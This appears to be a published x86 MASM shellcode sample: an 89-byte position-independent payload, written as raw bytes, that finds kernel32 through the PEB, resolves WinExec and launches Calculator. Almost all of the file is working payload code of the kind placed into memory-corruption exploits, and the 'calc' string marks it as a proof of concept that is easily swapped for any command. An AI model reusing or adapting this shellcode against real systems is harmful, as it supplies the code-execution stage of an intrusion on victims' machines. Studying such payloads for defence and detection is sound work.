89 bytes small WinExec position independent calc shellcode.
b2f1fda802d38a1e9b3f08d5089722e8
.386
.model flat,stdcall
option casemap:none
.data
; $?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?*$?
; >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Title : WinExec Position Independent Calc Shellcode
; Size : 89 Bytes
; Author : Osanda Malith Jayathissa (@OsandaMalith)
; Website: https://osandamalith.com
; <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
; $?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?=/=$?
shell\
db 31h, 0DBh, 64h, 8Bh, 7Bh, 30h, 8Bh, 7Fh, 0Ch, 8Bh, 7Fh, 1Ch, 8Bh, 47h, 08h, 8Bh
db 77h, 20h, 8Bh, 3Fh, 80h, 7Eh, 0Ch, 33h, 75h, 0F2h, 89h, 0C7h, 03h, 78h, 3Ch, 8Bh
db 57h, 78h, 01h, 0C2h, 8Bh, 7Ah, 20h, 01h, 0C7h, 89h, 0DDh, 8Bh, 34h, 0AFh, 01h, 0C6h
db 45h, 81h, 3Eh, 57h, 69h, 6Eh, 45h, 75h, 0F2h, 8Bh, 7Ah, 24h, 01h, 0C7h, 66h, 8Bh
db 2Ch, 6Fh, 8Bh, 7Ah, 1Ch, 01h, 0C7h, 8Bh, 7Ch, 0AFh, 0FCh, 01h, 0C7h, 53h, 68h, 63h
db 61h, 6Ch, 63h, 89h, 0E2h, 53h, 52h, 0FFh, 0D7h
.code
_start:
lea eax, shell
end _start